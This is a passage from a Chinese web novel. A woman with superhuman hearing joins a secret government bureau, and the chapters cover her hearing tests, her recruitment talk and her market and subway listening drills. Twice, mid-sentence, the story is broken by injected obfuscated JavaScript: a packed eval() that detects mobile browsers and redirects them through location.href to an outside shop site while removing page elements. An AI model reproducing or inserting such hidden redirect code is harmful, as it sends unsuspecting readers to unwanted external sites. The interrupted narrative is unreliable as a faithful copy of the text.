测试继续。 2公里、3公里、4公里…… 杨晓晓依然能听到,虽然需要稍微集中注意力。 5公里! 小赵深吸一口气:“还要继续吗?” 观察窗后沉默了几秒:“可以了。记录:有效半径至少5公里,远超常规感知类能力者平均水平。” 耳机被取下。 “测试二:听力精度。”小赵调整设备,“这次会播放一段混杂了多种声音的音频,你需要分辨出里面有几个不同的人声,以及他们分别说了什么。” 音频播放。 很嘈杂,像菜市场的录音:讨价还价声、叫卖声、孩子哭闹声、聊天声…… 杨晓晓闭眼倾听。 “七个人声。”她说,“第一个大妈说‘这土豆一块五太贵了’,第二个大爷说‘我这一块二进的货’,第三个年轻女声说‘妈我要吃糖葫芦’,第四个……是个小孩在哭,没说话,第五个……” 她一一复述。 小赵对照着标准答案,眼睛越睁越大。 “全对。”她喃喃道,“连语气词都对了……” “测试三:定向监听能力。”这次小赵带她到另一个房间,房间里有六个隔间,每个隔间里有人在进行不同的对话。 “你需要听第三号隔间的对话内容,同时屏蔽其他隔间的干扰。” 杨晓晓尝试。 她发现这比听远处的单一声音难,因为近处的多个声源会互相干扰。但她可以通过“想象”一个声音过滤器,把注意力集中在第三号隔间方向。 “……成功了。”小赵记录,“能在多声源环境下进行定向监听,但屏蔽能力一般,会受较强干扰。” 接下来还有一系列测试:声音记忆能力、声源定位精度、对不同频率声音的敏感度…… 两个小时后,测试结束。 杨晓晓从椅子上站起来时,感觉有点虚脱——不是身体累,是精神高度集中后的疲惫。 小赵拿着平板,表情复杂地看着她。 “所有测试数据都……”她顿了顿,“都超出常规值。尤其是范围和精度。陈队,您看看。” 陈树接过平板,扫了一眼数据。 他脸上没什么表情,但杨晓晓注意到,他的眼神认真了许多。 “可以了。”他对小赵说,“带她去休息室,喝点水。我去汇报。” 7. 一杯茶和三个世界 茶杯在桌上轻轻一磕,袅袅的热气带着茶香飘散开来。 杨晓晓盯着那杯茶,像是要从澄澈的茶汤里看出自己未来的命运。三天了,从她在深夜的出租屋里听见那句“目标已清除”到现在,世界仿佛被按下了加速键——或者说,她之前的世界破碎了,现在被推进了一个全新的、让她完全陌生的维度。 “喝口茶,定定神。”陈树坐在她对面的沙发上,姿态放松得像是在自家客厅招待老朋友,“别紧张,我们这儿‘不正常’才是常态。” 他说这话时语气平淡,仿佛在说“今天天气不错”。 杨晓晓的手指在膝盖上收紧。这里是一间看起来普通的办公室,米白色的墙壁,原木色的书架,书架上摆着些她看不懂的专业书籍和几个绿植盆栽。窗外能看到北京城的街景,车流如织,一切都寻常得不像话。 可她知道,这栋建筑的入口在地下三层停车场,需要通过三道安检门,其中一道还要扫描虹膜。她被带到这里的一路上,至少看到三个穿着白大褂的人推着装有精密仪器的小车匆匆走过,仪器屏幕上跳动着令人眼花缭乱的数据流。 “这里是……”她终于鼓起勇气开口,声音还有点发紧。 “国安局下属,‘特别事务保障局’。”陈树端起自己的茶杯抿了一口,“简称特保局,但内部通常叫‘三分局’,因为我们是第三处。” 他说得轻描淡写,杨晓晓却觉得每个字都沉甸甸的。 “特别事务……保障?”她重复着这个词组,“保障什么?” “保障那些科学暂时无法解释,但确实存在的事务,不会对社会秩序造成冲击。”陈树放下茶杯,看着她,“也保障像你这样,因为各种原因觉醒了‘特殊能力’的人,能够平稳过渡,找到自己的位置,而不是在恐慌中走向极端。” 杨晓晓的手指更紧了:“像我这样的人……很多吗?” “不多,但也不算少。”陈树靠回沙发背,“每年全国各地上报的疑似案例大概有几十起,经过筛查确认的,近几年维持在十到十五个。有的能力很微弱,比如能精确感知温度变化0.1度;有的能力……比较显眼,比如能短暂地浮空几厘米。” 他顿了顿:“但像你这样,听力达到这种程度的,我入职七年,你是第三个。” 第三个。 杨晓晓不知道该为这个数字感到庆幸还是更恐慌。她舔了舔发干的嘴唇:“那……前两个呢?” “一个现在是我们的高级顾问,负责声学领域的特殊案件。”陈树语气平静,“另一个……” 他停顿了一下,杨晓晓的心提了起来。 “另一个在发现自己能力后,试图用它窃听商业机密,现在在监狱里。”陈树看着她的眼睛,“能力本身没有好坏,关键在于使用它的人怎么选择。” 杨晓晓感觉后背在冒冷汗。她想起这几天自己做的那些事——偷听隔壁吵架、偷听同事八卦、偷听奶茶店排队情况……虽然没什么恶意,但如果陈树他们知道,会不会觉得她心术不正? “别想太多。”陈树似乎看穿了她的心思,“恐慌期的本能反应我们都理解。重要的是你现在坐在这里,没有用能力去做更出格的事,这说明你本质上是可控的。” “可控……”杨晓晓咀嚼着这个词,有些苦涩,“所以我是……被管控的对象?” “是‘被保障’。”陈树纠正,“如果我们想管控你,你根本不会知道自己被发现了。我们可以悄无声息地监控你一辈子,只要你没有危害社会的行为,我们就不会干预。” 他往前倾身,语气认真了些:“但我们选择接触你,是因为你的能力很有价值,而你这个人——根据我们这些天的观察——也值得培养。所以你才会坐在这里喝茶,而不是在某个实验室里被研究。” 杨晓晓捕捉到了关键词:“实验室……研究?”她的声音有点发抖,“我会被……解剖吗?” 陈树愣了一下,然后突然大笑起来。 不是那种客套的微笑,是真正的、发自肺腑的大笑,笑得肩膀都在抖。杨晓晓被他笑懵了,尴尬地坐在那里,不知道该作何反应。 “抱、抱歉。”陈树好不容易止住笑,擦了擦眼角,“我不是笑你,我是笑……唉,你们这些年轻人,电影看太多了。” 他重新坐直,但眼里的笑意还没褪去:“杨晓晓同志,我们缺的是能干活的人,不是标本。把你解剖了能干嘛?研究你的耳膜构造?那我们直接找几个志愿者做体检不就行了?” 杨晓晓的脸红了。 “听着,”陈树正色道,“特保局成立的初衷,是管理、引导、保护,也是吸纳。我们需要有特殊能力的人成为我们的一员,因为只有你们才能真正理解同类,才能在面对‘特殊事务’时有最直观的判断和最有效的手段。” 他指了指窗外:“这个城市,这个国家,每天都有各种异常现象发生。有的是自然界的巧合,有的是人为制造的谜团,也有的……确实涉及一些我们目前无法完全解释的领域。我们需要专门的人去处理这些事,确保它们不会引起公众恐慌,也不会被别有用心的人利用。” 杨晓晓顺着他的手指看向窗外。阳光下的北京城熙熙攘攘,行人匆匆,车辆往来,一切都显得那么有序、平常。她突然意识到,在这平静的表象之下,可能隐藏着无数她从未想象过的暗流。 “那……我需要做什么?”她问。 “首先,你需要接受训练。”陈树说,“你的听力很强,但现在是本能反应,不受控制。你需要学会如何精准地使用它,如何屏蔽干扰,如何长时间维持而不疲劳。这需要系统的训练,我会亲自带你。” “训练……要多久?” “看你的进度。基础控制大概需要一到三个月,实战应用可能需要更久。”陈树看着她,“但在这期间,你可以保留你现在的工作和生活。白天你还是深蓝科技的行政专员杨晓晓,晚上和周末来接受训练。我们会给你安排一个离这里近的住处,方便你往返。” 杨晓晓愣住了:“我还……能回去上班?” “当然。”陈树点头,“我们不会强行改变你的正常生活轨迹,那样反而容易引人怀疑。你需要一个社会身份作为掩护,深蓝科技的工作正合适。而且……” 他顿了顿:“那里是你能力觉醒的地方,也是你听到‘目标已清除’的地方。我们需要你在那里观察,看能不能发现更多线索。” 杨晓晓明白了。她不仅是被招募,还要承担任务——在她熟悉的环境里做耳目。 “如果……如果我不同意呢?”她小心翼翼地问出这个问题,心跳得厉害。 陈树的表情没什么变化:“那我们会在确保你能力不会失控的前提下,解除对你的监控,让你回归正常生活。但你会被登记在案,如果未来你的能力出现不稳定,或者你用能力做了违法的事,我们会介入。” 他说得很平静,但杨晓晓听出了潜台词:同不同意,你都已经在我们的视野里了。 她低头看着茶杯。茶叶在热水中缓缓舒展,像她此刻混乱的思绪。 “我可以……考虑一下吗?”她问。 “可以。”陈树爽快地答应了,“三天时间。这期间张磊会负责你的安全,带你在局里转转,熟悉环境。你也可以看看我们的训练设施,和局里其他人聊聊——当然,是在保密的前提下。” 他站起来:“现在,我先带你去看看你的临时住处。然后你可以去食堂吃午饭,我们食堂的麻辣香锅不错。” 杨晓晓跟着站起来,突然想到一个问题:“陈老师……为什么是您来接触我?” 陈树已经走到门口,闻言回头,笑了笑:“因为我的能力,让我最适合做你的引路人。” “您的……能力?” “以后你会知道的。”陈树卖了个关子,推开门,“走吧,去看看你的新房间。对了,房间隔音做得很好,你应该能睡个好觉了。” 这句话戳中了杨晓晓的心坎。这几天她几乎没怎么睡,各种声音无孔不入,像永远关不掉的背景噪音。 她跟着陈树走出办公室,穿过走廊。走廊两侧的门大多关着,偶尔有一两扇开着的,能瞥见里面忙碌的景象——有人在对着一堆复杂的电路板皱眉,有人戴着虚拟现实头盔做手势,还有一个房间里,杨晓晓瞥见一个年轻人正对着一杯水发愣,而那杯水……水面正在以违背物理规律的方式缓缓隆起,形成一个微小而完美的半球面。 她赶紧移开视线,心脏砰砰直跳。 “那是小赵,刚觉醒两个月,能力是液体微操。”陈树头也不回地说,“现在还只能让水变形,训练目标是未来能控制血液流动,成为顶尖的急救员。” 杨晓晓听得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191447|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目瞪口呆。 他们走进电梯,陈树按了楼层。电梯下行时,杨晓晓忍不住问:“这里的所有人……都有‘能力’吗?” “不完全是。”陈树摇头,“大概六成是有特殊能力的,剩下的是各方面的专家——心理学家、物理学家、格斗教官、信息技术员等等。我们需要一个完整的团队,能力者只是其中的一部分。” 电梯门开了,眼前是一条装修简约的走廊。陈树带她走到一扇门前,刷卡开门。 房间不大,但很整洁。一室一厅的结构,家具齐全,窗户朝南,阳光洒进来很温暖。最重要的是——安静。杨晓晓站在房间中央,能感觉到那种被精心处理过的隔音效果,不是绝对的死寂,而是把外界的噪音过滤成了一层模糊的背景音,像隔着厚玻璃听雨声。 “喜欢吗?”陈树问。 杨晓晓点点头,真心实意地说:“喜欢。” “那就好。”陈树把房卡递给她,“你先休息一下,中午十二点,张磊会来带你去食堂。下午可以到处看看,有什么问题随时问我。” 他走到门口,又停下来:“对了,不用太紧张。我们这儿虽然特殊,但大家都是人,都要吃饭睡觉,也会为周末去哪里玩发愁。你慢慢适应。” 门关上了。 杨晓晓在房间里站了一会儿,然后慢慢走到窗边。窗外是普通的居民区景象,晾晒的衣服在风中轻摆,几个老人在楼下下棋,孩子们在空地上追逐打闹。 一切都那么平常。 可她低头看向自己的手,这双手的主人,刚刚被正式告知:你是少数拥有超常能力的人,欢迎加入处理超常事务的部门。 手机震动了一下,是张磊发来的消息:“晓晓,中午想吃什么?食堂今天有麻辣香锅、水煮鱼和小炒黄牛肉,都很好吃^_^” 一个笑脸表情。 杨晓晓盯着那个笑脸,突然有点想笑。 超能力,国安局,特别事务保障局——这些词组合在一起本该是惊心动魄的谍战片,可现实里却夹杂着麻辣香锅和笑脸表情,有种荒诞的真实感。 她回复:“麻辣香锅吧,谢谢张哥。” 发完消息,她走到床边坐下,床垫柔软而有支撑力。她躺下去,看着天花板。 三天时间,要考虑。 但其实,当她踏入这栋建筑,当她看到那个让水隆起的年轻人,当她听到陈树说“我们缺的是能干活的人,不是标本”时,她心里已经有了倾向。 她害怕吗?怕。这一切都太陌生,太超出她的认知框架。 但她更怕的是另一种可能——如果拒绝,回到那个出租屋,每天被各种声音折磨,永远活在“我是不是怪物”的恐惧中,还要担心随时可能有人来把自己抓走。 至少在这里,她不是一个人。 至少在这里,她的能力不再是要隐藏的缺陷,而是可以培养的特长。 至少在这里,她听到那句“目标已清除”的谜团,有可能被解开。 杨晓晓闭上眼睛,深深吸了一口气。 再睁开时,她坐起来,走到书桌前。桌上放着一个简单的记事本和一支笔。她翻开本子,在第一页写下: 三个世界 1. 正常世界:深蓝科技,行政工作,奶茶,同事八卦 2. 能力世界:超常听力,声音的海洋,无法控制的“天赋” 3. 特保局世界:训练,任务,同类,麻辣香锅 她现在站在三个世界的交汇点。 要选哪一个? 或者说,她能不能同时活在三个世界里? 笔尖在纸上停顿,然后继续写道: 我想试试。 写完这四个字,她合上本子,起身走到窗边。 阳光很好。 楼下下棋的老人为了一步棋争得面红耳赤,孩子们的笑声清脆响亮,远处隐约传来小贩的叫卖声。 这些声音,现在听起来不再让她头疼了。 因为她知道,如果她愿意,她可以随时“关小”它们的音量,也可以随时“放大”去听清每一个细节。 这是一种选择。 而选择权,现在在她手里。 杨晓晓伸手接住从窗户缝隙漏进来的一缕阳光,掌心温暖。 三天考虑期? 也许不用那么久。 8. 能力测试(上):菜市场监听 三天后,国安局地下三层,特殊训练室。 杨晓晓站在单向玻璃前,看着玻璃后面那个模拟的“菜市场”场景,心里有点发怵。 不是场景太逼真——虽然确实很逼真,摊位、蔬菜、鱼池、甚至模拟的顾客投影都很像回事——而是她知道自己接下来要面对什么。 菜市场,那是噪音的集大成者。 叫卖声、讨价还价声、剁肉声、杀鱼声、孩子哭闹声、电动车喇叭声…… 光想想就头疼。 “准备好了吗?”陈树的声音从耳麦里传来。 杨晓晓深吸一口气:“准备好了。” “任务目标:菜市场东侧水产区,穿蓝色围裙的鱼贩王大爷,和他的老顾客李大妈。任务内容:听清他们关于‘草鱼价格’的完整对话,并记录最终成交价和额外约定。” 陈树顿了顿:“记住,这是真实环境的模拟。声音是从三公里外真正的红星菜市场实时传输过来的。你需要运用这几天学的过滤技巧,在嘈杂环境中锁定目标。” 杨晓晓点头:“明白。” “开始。” 声音瞬间涌来。 不是录音,不是模拟——是真真实实、鲜活生动的菜市场噪音! “新鲜蔬菜嘞——茄子一块五,黄瓜两块——” “排骨!排骨今天特价!” “扫码付款这边——” “妈我要吃那个——” “让一让让一让车来了——” 讨价还价声、叫卖声、孩子哭闹声、电动车喇叭声、扫码提示音、塑料袋摩擦声、剁肉声、杀鱼声…… 杨晓晓坐在椅子上,闭上眼睛,努力集中注意力。 第一步:定位目标区域。 她“听”向菜市场东侧。声音信息涌来,但她需要从中筛选出“水产区”的特征音:水流声、鱼尾拍打水箱声、刮鳞声…… 找到了。 水产区至少有五个摊位,每个摊主都在吆喝。 “活鲤鱼!刚运来的!” “鲫鱼炖汤最鲜——” “草鱼!草鱼便宜卖啦——” 草鱼! 杨晓晓锁定那个喊“草鱼”的声音——是个中年男声,嗓音洪亮。 她继续筛选:穿蓝色围裙的鱼贩?她需要听到有人提到这个特征。 “王大爷,今天草鱼怎么卖啊?”一个女声问。 目标出现! 杨晓晓立即将注意力集中到那个对话方向。 王大爷的声音:“哟,李大妈来啦!今天草鱼好,你看这活蹦乱跳的。十五一斤,老顾客给你十四。” 李大妈:“十四?太贵了!昨天老张那边才十二。” 王大爷:“哎哟我的李大妈,他那是什么草鱼,我这是什么草鱼?你看这鱼背多厚,炖汤红烧都好。这样,十三块五,最低了。” 李大妈:“十三!十三我就买两条。” 干扰来了——旁边摊位突然有人大声吆喝:“全场特价!全场特价!” 同时,一个孩子跑过,大声哭喊:“我的气球飞了——!” 杨晓晓皱眉,努力屏蔽。 王大爷的声音:“十三真不行,我进价都不止……这样,十三块三,你去鳞切片我都包了,行不?” 李大妈犹豫:“那……再送我两根葱。” 王大爷笑了:“行行行,老顾客了。要几条?” 李大妈:“两条,挑大的啊。” 王大爷:“好嘞!这条,还有这条……哎小心别蹦出来了!” 对话到这里,应该结束了。 但杨晓晓没有立即汇报,而是继续听——陈树说过,要听“完整对话”。 果然,李大妈又开口了:“对了王大爷,你儿子是不是在深蓝科技上班?” 深蓝科技?! 杨晓晓心里一震。 王大爷:“对啊,怎么了?” 李大妈:“我闺女也想进那公司,听说待遇好。你儿子能内推不?” 王大爷:“这个……我得问问。现在大公司规矩多,内推也得走流程。” 李大妈:“那你帮我问问,成了我请你吃饭!” 王大爷:“行,我记着了。” 接着是称重、扫码付款的声音。 最后,王大爷说:“两条一共四斤二两,五十五块八毛,算你五十五。葱在那边自己拿啊。” 李大妈:“谢啦王大爷。” 对话结束。 杨晓晓睁开眼,对着麦克风汇报: “目标对话记录:草鱼初始报价十五元一斤,李大妈还价,最终成交价十三块三元一斤。购买两条,总重四斤二两,实付五十五元。额外约定:鱼贩负责去鳞切片,赠送两根葱。” 她顿了顿,补充:“对话末尾提及:鱼贩王大爷的儿子在深蓝科技工作,李大妈想请其帮忙内推闺女入职。” 观察室里安静了几秒。 然后陈树的声音传来:“完整对话记录正确。附加信息……有意思。记录员,记下深蓝科技这个点。” 杨晓晓松了口气。 “表现不错。”陈树说,“在真实嘈杂环境中,能完整捕捉目标对话,还能注意到额外信息。注意力集中度估计有80%以上了。” 玻璃墙后的灯暗下去,菜市场的声音消失。 陈树走进训练室。 “但还有问题。”他说,“你刚才在屏蔽干扰时,有明显的皱眉和肢体紧张。这说明你的‘过滤’还不是下意识的,需要刻意维持。在实战中,这种刻意会消耗额外精力,缩短你能持续监听的时间。” 杨晓晓点头:“那些干扰……真的很难忽略。” “所以才要练。”陈树说,“下一项测试:多目标监听。” 他递来新任务卡。 “菜市场有三个目标对话同时进行:1)蔬菜区,穿红衣服的阿姨和摊主关于西红柿价格的争论;2)肉类区,年轻夫妻买排骨时讨论晚上怎么做;3)干货区,两个老人在聊孙子考试成绩。你需要同时监听这三段对话,并分别复述关键内容。” 杨晓晓睁大眼睛:“同时?三段?” “对。”陈树说,“实战中,经常需要多线监听。比如监视一个据点时,可能同时有几个房间在谈话。你必须学会‘分心’——不是真的分心,而是快速在不同声源间切换注意力,像打地鼠一样。” 杨晓晓深吸一口气:“我试试。” 测试再次开始。 菜市场的声音重新涌来。 这一次,杨晓晓感觉压力大了不止一倍。 她需要先定位三个目标:红衣阿姨(蔬菜区)、年轻夫妻(肉类区)、两个老人(干货区)。 然后要在三段时间可能重叠的对话中,捕捉关键信息。 太难了。 她听到红衣阿姨在喊:“这西红柿都软了还卖三块?两块!” 摊主:“阿姨你看清楚,这是有机西红柿,进价都两块五了!” 同时,肉类区那边,妻子说:“买点排骨炖汤吧,你最近加班多,补补。” 丈夫:“行,但要小排,大排太肥。” 同时,干货区,老人A:“我孙子这次数学考了九十八!” 老人B:“我那个才八十五,气死我了。” 三个声音交织在一起,加上背景噪音,杨晓晓的脑子开始混乱。 她尝试快速切换:听几句西红柿,切到排骨,再切到考试成绩…… 但切换需要时间,而且切换时会漏掉信息。 三分钟后,声音停止。 杨晓晓额头冒汗。 “汇报。”陈树说。 她努力回忆: “蔬菜区:红衣阿姨认为西红柿太软,要求从三块降到两块。摊主说是有机西红柿,进价两块五。最终成交价……我没听到。” “肉类区:年轻夫妻买排骨炖汤,妻子说要小排。但具体买了多少斤、多少钱,没听到。” “干货区:两个老人聊孙子成绩,一个九十八分,一个八十五分。其他……没了。” 观察室里沉默。 然后陈树的声音传来:“三段对话的关键信息,你都只捕捉到了一部分。西红柿最终两块三成交,排骨买了二斤半、四十五元,老人还聊了孙子在哪个学校、以后想考什么大学……这些都没听到。” 杨晓晓低下头:“对不起……” “不用道歉。”陈树说,“这是正常的学习过程。多目标监听是高级技能,需要大量练习。今天你能在三段对话中分别捕捉到一些信息,已经比完全混乱强了。” 他走到她面前:“知道问题在哪吗?” 杨晓晓摇头。 “你的切换太‘生硬’了。”陈树解释,“就像看电视换台,每次换台都需要时间重新加载画面。高级的监听者,应该像有多个‘画中画’屏幕——主屏幕显示当前重点,小屏幕实时显示其他频道的缩略内容,随时可以切过去看细节。” 他指了指自己的脑袋:“你需要训练大脑建立多个‘声音缓存区’。简单说,就是同时听多个声源,但把不重要的先放在‘后台’,需要时再调到‘前台’处理。” 杨晓晓听得有点晕:“这……可能吗?” “可能。”陈树肯定地说,“很多资深感知类能力者都能做到。但这需要时间、训练,还有天赋。你的天赋足够,缺的是训练。” 他看了眼时间:“上午就到这里。下午你回公司‘上班’,晚上继续训练。” 杨晓晓走出训练室时,感觉脑子还在嗡嗡作响。 菜市场的声音似乎还在耳边回荡:讨价还价、吆喝叫卖、家长里短…… 张磊在门口等她。 “听说你上午去菜市场了?”他开玩笑。 “虚拟的。”杨晓晓揉着太阳穴,“但比真的还累。” “正常。”张磊说,“陈队当年训练我们的时候,还模拟过火车站、演唱会、建筑工地……那才叫真的吵。” 两人上车,开往深蓝科技。 路上,杨晓晓想起菜市场对话里提到的“深蓝科技”。 “张哥,鱼贩的儿子在深蓝科技工作……这个信息,有用吗?” 张磊从后视镜看了她一眼:“陈队让你汇报了?” “嗯。” “那应该会有人去核实。”张磊说,“不过这种关联……可能只是巧合。深蓝科技是本地大企业,很多本地人的子女在里面工作。” “也是。”杨晓晓说。 但她心里总觉得……太巧了。 304会议室就在深蓝科技。 她是在深蓝科技坠楼觉醒的。 现在连菜市场鱼贩的儿子都在深蓝科技上班…… 真的只是巧合? 下午回到公司,她继续处理客户接待方案。 修改、确认、发邮件、打电话协调…… 繁琐,但熟悉。 间隙时,她“听”了一下304方向。 电流声还在。没有其他动静。 李姐下午外出见客户了,办公区气氛轻松了一些。 王哥溜达过来:“晓晓,接待方案弄得怎么样了?” “差不多了。”杨晓晓说,“就是酒店那边房间还没确认,说留给我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191448|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的套房被临时调走了,正在协调。” “正常。”王哥说,“那些大酒店,见人下菜碟。要不要我帮忙?我有个同学在那边当经理。” “真的?”杨晓晓眼睛一亮,“那太好了。” “小事。”王哥摆摆手,“不过……晓晓,你觉不觉得公司最近有点怪?” 杨晓晓心里一紧:“怎么怪?” “我也说不上来。”王哥压低声音,“就是感觉……气氛不对。李姐要走的消息传开后,好几个部门都在暗地里较劲,想争她的位置。还有,我听说……三楼那边,好像不止保安听到怪声。” “什么意思?” “研发部的小刘,有天加班到很晚,说听到304那边有动静,像是什么机器在运行。但他以为是自己幻听,没敢说。”王哥说,“你说,会不会是……闹鬼?” 杨晓晓哭笑不得:“王哥,这都什么年代了……” “也是。”王哥挠挠头,“可能我想多了。行了,我去给酒店打电话。” 王哥走后,杨晓晓陷入沉思。 不止一个人注意到304异常。 保安老刘、研发部小刘、还有她…… 这说明,那个“东西”可能不是一直静默,偶尔会活动? 而她监听到的电流声,可能是设备待机状态。 什么时候会“开机”? 晚上六点,下班。 张磊准时来接。 “晚上训练什么?”杨晓晓问。 “不知道。”张磊说,“陈队只让我送你过去。” 训练室。 今晚陈树不在,是另一个教官——一个三十多岁、身材精干的女教官,代号“铁鹰”。 “陈队临时有事,今晚我带你。”铁鹰说话干脆利落,“听说你在练多目标监听?今天继续。” 她打开设备。 “这次不是菜市场了。”铁鹰说,“模拟场景:地铁站。” 杨晓晓眼前一黑。 地铁站……那可是比菜市场还恐怖的噪音地狱! “任务:同时监听四段对话。具体目标会在模拟过程中随机提示。准备好了吗?” 杨晓晓咬牙:“准备好了。” 声音涌来。 地铁进站的轰隆声、广播报站声、刷卡闸机声、乘客脚步声、行李箱轮子声、小孩哭闹、情侣吵架、电话聊天…… “目标一:3号闸机处,穿灰色西装的男人在打电话,听清通话内容。” 杨晓晓立刻定位。 “……项目没问题,王总放心……对,下周签约……” “目标二:候车区长椅,两个女学生在聊考试,听清她们哪门课没考好。” 切换! “……数学最后一道大题根本不会……物理也完了……” “目标三:自动售货机前,母子在争论买什么饮料,听清最终买了什么。” 再切换! “妈我要可乐!”“不行,喝矿泉水。”“那果汁!”“橙汁吧。”“好!” “目标四:出站口,一对老夫妻在问路,听清他们要去哪里。” 继续切换! “请问去人民医院怎么走?”“坐2号线,三站。” 四段对话在短短一分钟内交错进行。 杨晓晓大脑疯狂运转,像一台超负荷的计算机。 声音停止时,她几乎虚脱。 “汇报。”铁鹰说。 杨晓晓喘着气,一一复述。 “正确率:85%。”铁鹰在平板上记录,“有进步。但切换速度还是慢,漏掉了一些细节:比如灰色西装男人电话里提到的‘签约金额’,女学生具体考了多少分,母子买的是哪个牌子的橙汁,老夫妻要去人民医院哪个科室。” 她看向杨晓晓:“你需要更快。实战中,敌人不会等你慢慢切换。” “是……”杨晓晓有气无力。 “休息五分钟,继续。” 接下来两个小时,杨晓晓在地铁站、演唱会现场、建筑工地、儿童游乐场等各种“噪音地狱”中反复煎熬。 结束时,她连走路都腿软。 铁鹰难得露出一丝笑容:“今天练得不错。陈队说你天赋好,确实。一般人这种强度,早就崩溃了。” 杨晓晓勉强笑了笑:“谢谢教官。” “回去好好休息。”铁鹰说,“明天继续。” 张磊送她回宿舍的路上,杨晓晓几乎在车上睡着了。 “太拼了吧?”张磊说。 “不拼不行……”杨晓晓含糊道,“我总觉得……时间不够。” “什么时间不够?” 杨晓晓没回答。 她心里有种莫名的紧迫感。 304的秘密、那个“清除者”、菜市场鱼贩儿子的巧合…… 这些碎片在她脑子里旋转,仿佛在拼凑一个她还没看懂的图案。 她需要更快变强。 更强,才能看清真相。 更强,才能保护自己。 回到宿舍,她连澡都没洗,直接倒在床上。 闭上眼睛,城市的声音从窗外传来。 但这一次,她没有烦躁。 她尝试着练习“多目标监听”。 听楼上的电视声、隔壁的洗澡声、远处街道的车流声…… 同时听,同时处理。 虽然还很生涩,但她在尝试。 睡着前,她最后想的是: 明天,要去试试陈树推荐的那家奶茶。 三分糖,加珍珠。 这是她应得的奖励。 对吧? 9. 能力测试(下):你听到了什么? 周三上午,训练室。 杨晓晓坐在椅子上,看着陈树在平板上划来划去,心里有点忐忑。 经过一周的密集训练,她的多目标监听能力有了明显提升。昨天在地铁站模拟中,她已经能同时追踪五段对话,正确率达到90%。 但陈树今天看起来很严肃。 “晓晓,今天的测试不一样。”他说,“不给你具体目标,也不设定任务。我会播放一段真实环境的录音,你只需要听,然后告诉我……你听到了什么。” 杨晓晓愣了:“听到了什么……是什么意思?” “就是字面意思。”陈树说,“我想知道,在完全自由的情况下,你的注意力会被什么吸引。这能反映你的潜意识倾向,也能评估你的信息筛选能力。” 他顿了顿:“录音是昨天下午在市中心公园录制的,时长十分钟。准备好了吗?” 杨晓晓点头:“准备好了。” “开始。” 声音涌来。 公园的环境音:鸟鸣、风吹树叶、远处街道的车流、孩子们的嬉笑声、老人打太极的音乐…… 很平和,但依然充满了细节。 杨晓晓闭上眼睛,放松下来。 她不再刻意去“监听”什么,只是让声音自然流入。 她听到: 长椅上,一对年轻情侣在低声说话。 “你真的决定去北京了?” “嗯,那边机会多。你……愿意跟我去吗?” “我爸妈在这边……” “我知道。我会经常回来看你的。” 沉默,然后是轻微的啜泣声。 杨晓晓心里一紧。 她听到: 草坪上,几个孩子在玩球。 “传给我传给我!” “接住!” “哇!进球了!” 欢快的笑声。 她听到: 凉亭里,几个老人在下棋。 “将军!” “哎哟,这步没看到……” “老李你棋艺退步了啊。” “再来再来!” 她听到: 小路上,一个母亲在教孩子走路。 “宝宝,来,到妈妈这里来。” 蹒跚的脚步声,咯咯的笑声。 “真棒!宝宝真棒!” 她听到: 湖边,一个年轻人在画画,画笔在纸上摩擦的沙沙声。 远处,街头艺人在弹吉他,唱的是一首老歌。 更远处,咖啡店门口,两个白领在讨论工作。 “这个方案客户还是不满意……” “再改改吧,明天就是deadline了。” …… 十分钟很快过去。 声音停止。 杨晓晓睁开眼,看向陈树。 陈树放下平板:“说吧,你听到了什么。” 杨晓晓想了想,开始叙述: “公园长椅,一对情侣在讨论异地恋,男生要去北京,女生在哭。” “草坪上,几个孩子在踢球,很开心。” “凉亭里,老人在下棋,其中一个被将军了。” “小路上,妈妈在教宝宝走路,宝宝走成功了。” “湖边,有人在画画。” “远处有街头艺人在弹吉他,唱的是《童年》。” “咖啡店门口,两个白领在讨论工作方案。” 她顿了顿,补充:“还有……鸟叫声,大概有三种不同的鸟。风吹树叶的声音,树叶应该是梧桐。远处公交站,有公交车到站的提示音。还有……一个环卫工人在扫落叶,扫帚划过地面的声音。” 陈树安静地听着,在平板上记录。 等她说完,他抬起头:“就这些?” 杨晓晓点头:“就这些。” “没有遗漏?” “应该……没有吧。” 陈树沉默了几秒,然后说:“那我告诉你,你还漏了什么。” 他点开平板,调出一份清单。 “录音里包含的声音事件,总共37个。你提到了15个,准确率100%,但覆盖率只有40%。” 杨晓晓睁大眼睛:“37个?这么多?” “公园是公共空间,十分钟内发生的事很多。”陈树说,“你漏掉的包括:湖边有一对夫妻在吵架,关于孩子上哪个幼儿园;儿童游乐场有个孩子摔倒了,在哭;卖气球的小贩在和城管交涉;一个外卖员在路边休息,给家人打电话;两个初中生在偷偷抽烟;还有……至少五段不同的人的手机铃声或消息提示音。” 杨晓晓哑口无言。 她确实没注意到这些。 “这说明什么?”陈树问。 “我……还不够细心?”杨晓晓试探地说。 “不。”陈树摇头,“这说明你的注意力有天然的‘过滤器’。你会自动关注那些……有情感温度的声音。情侣的离别、孩子的欢笑、老人的悠闲、母子的温馨——这些是你第一时间捕捉到的。而那些冲突的、负面的、或者纯粹功能性的声音,你下意识过滤掉了。” 他看着她:“这是好事,也是坏事。” “为什么?” “好事,说明你是一个情感丰富、有同理心的人。在需要判断‘人的状态’时,这种倾向很有用。比如你可以轻易听出一个人是在说谎、紧张、还是真诚。” “坏事呢?” 